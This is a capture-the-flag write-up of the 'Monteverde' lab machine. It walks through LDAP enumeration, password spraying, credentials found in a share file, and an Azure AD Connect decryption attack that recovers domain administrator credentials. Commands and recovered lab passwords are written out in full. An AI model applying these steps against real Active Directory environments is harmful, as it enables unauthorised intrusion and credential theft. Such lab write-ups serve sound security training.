Enumeration

nmap

I started my nmap scan with sudo nmap -sC -sV -O -Pn 10.129.21.109; sleep 5; sudo nmap -p- -Pn 10.129.21.109; sleep 5; sudo nmap -sU -Pn 10.129.21.109. There are typical AD related ports open.

nmap also shows the domain name - MEGABANK.LOCAL. I added it into my /etc/hosts file.

Quick checks

I checked smb for null session and it connects but fail - netexec shows that it throws an “access denied” error. I tried a rid brute attack and guest’s account seems to be disabled.

With dig reading the SOA records I found out that the domain controller’s domain is “monteverde.MEGABANK.LOCAL” - I also added it into my file.

ldapsearch

Luckily anonymous ldapsearch works so with the ldapsearch -x -H ldap://10.129.228.111 -b "DC=MEGABANK,DC=LOCAL" command I was able to dump a ton of data. I scoped it in with ldapsearch -x -H ldap://10.129.228.111 -b "DC=MEGABANK,DC=LOCAL" "(objectClass=user)" sAMAccountName cn mail.

Users:

Common names:
AAD_987d7f2f57d2
Mike Hope
SABatchJobs
svc-ata
svc-bexec
svc-netapp
Dimitris Galanos
Ray O'Leary
Sally Morgan

sAM names:
AAD_987d7f2f57d2
mhope
SABatchJobs
svc-ata
svc-bexec
svc-netapp
dgalanos
roleary
smorgan

I made a wordlist with those sam names and ran it against kerberos with impacket tools. Firstly I want to check for any as-rep roastable users as this doesn’t require valid credentials.
To check for it I ran GetNPUsers.py MEGABANK.LOCAL/ -usersfile users.txt -no-pass.

[-] User AAD_987d7f2f57d2 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mhope doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User SABatchJobs doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc-ata doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc-bexec doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc-netapp doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User dgalanos doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User roleary doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User smorgan doesn't have UF_DONT_REQUIRE_PREAUTH set

Sadly all users require pre authentication meaning they are not vulnerable.

I will now try to bruteforce some common passwords against my user list with netexec smb 10.129.228.111 -u users.txt -p /usr/share/wordlists/SecLists/Passwords/Common-Credentials/10k-most-common.txt.

I had it running in the background for a while but it failed and timed out. I suspect that if it was the meant pathway it would fine the password much quicker.

Foothold

I went back on my steps looking for anything I might’ve missed and I again started to bruteforce. This time I created a custom list having data of users, their username variants and the domain name and I got one hit - SABatchJobs:SABatchJobs. I checked those credentials with netexec and they work with smb, wmi and ldap. I ran netexec smb 10.129.228.111 -u 'SABatchJobs' -p 'SABatchJobs' --shares to see what I can access now.

[*] Enumerated shares
Share           Permissions     Remark
-----           -----------     ------
ADMIN$                          Remote Admin
azure_uploads   READ            
C$                              Default share
E$                              Default share
IPC$            READ            Remote IPC
NETLOGON        READ            Logon server share 
SYSVOL          READ            Logon server share 
users$          READ            

There are some custom shares which are interesting. I reviewed all that I could read and I only found “azure.xml” in the users.

With netexec smb 10.129.228.111 -u users.txt -p 4n0therD4y@n0th3r$ I found it belongs to mhope. I got smb, winrm, ldap and wmi access.

I checked the smb access and there was nothing new that SABatchJobs didn’t see. I looked into the account with evil-winrm and found the user’s flag on the Desktop. I then looked around and found an .Azure folder which seems interesting but before I check it out more in depth I will run bloodhound to gather as much data about the AD as I can.
bloodhound-python -u mhope -p '4n0therD4y@n0th3r$' -d MEGABANK.LOCAL -dc monteverde.MEGABANK.LOCAL -ns 10.129.228.111 -c all; rusthound-ce -d MEGABANK.LOCAL -u mhope -p '4n0therD4y@n0th3r$' --zip -c All

With it I didn’t find much, however I noticed that mhope is a part of a “AZURE ADMINS@MEGABANK.LOCAL” group which seems pretty out of place. And it’s also kinda weird because it doesn’t seem to have any interesting permissions.

In .Azure folder I found Azure related files. These files seem to be used by Azure to store cached sessions and tokens, so users can stay signed in without re-entering credentials.

I gathered some basic data about the user of this session:

"User": {  
"Name": "John Clark",  
"UPN": "john@a67632354763outlook.onmicrosoft.com",  
"IP": "46.4.223.173"  
}

From what I gathered this seems to be kinda like opening old tmux sessions. I can use Get-AzContext and see that there is some session as the John user.

Privilege Escalation

I’m not super familiar with actually testing Azure. Because of that I stepped back and read about it. Here are some good reads:
adamtheautomator.com
Github - andreipintica
labs.reversec.com

I looked for ways to exploit azure, some of them mentioned the use of mimikatz but I wasn’t able to lunch it on the target host. I tried to use Set-ExecutionPolicy Bypass -Scope Process but it didn’t work.

Found this great read or possible exploits of Azure AD Connect. I considered Azure AD Connect because of the weird “AAD_987d7f2f57d2” account and tried to understand what is it related to.
Tried adconnectdump but it didn’t work. Likely because lack of access of mhope to RPC.
Tried AdSyncDecrypt. At first *Evil-WinRM* PS C:\Program Files\Microsoft Azure AD Sync\Bin> C:/Users/mhope/Desktop/AdDecrypt/AdDecrypt.exe didn’t work but *Evil-WinRM* PS C:\Program Files\Microsoft Azure AD Sync\Bin> C:/Users/mhope/Desktop/AdDecrypt/AdDecrypt.exe -FullSQL did - I guess AD Connect just used the full db here. For it all to work I just had to follow instructions from the git repo so I recommend checking it out.

With this, I now have decrypted admin credentials:

DECRYPTED CREDENTIALS:
Username: administrator
Password: d0m@in4dminyeah!

I blindly tried them out with evil-winrm and they worked. I found a root flag on the Desktop.

Closing Thoughts

MonteVerde is a pretty straightforward machine, it shows a niche technique of privilege escalation with Azure AD Connect but besides it, it’s pretty typical in terms of pivoting, enumeration, and gaining the foothold. Still, there aren’t many boxes that touch Azure so it was really interesting to explore it.

For me personal lessons learned: I need to keep practicing not splitting my attention on different possible vectors and try to feel and have an instinct what could be the expected path of attack - KISS.

1 item under this folder.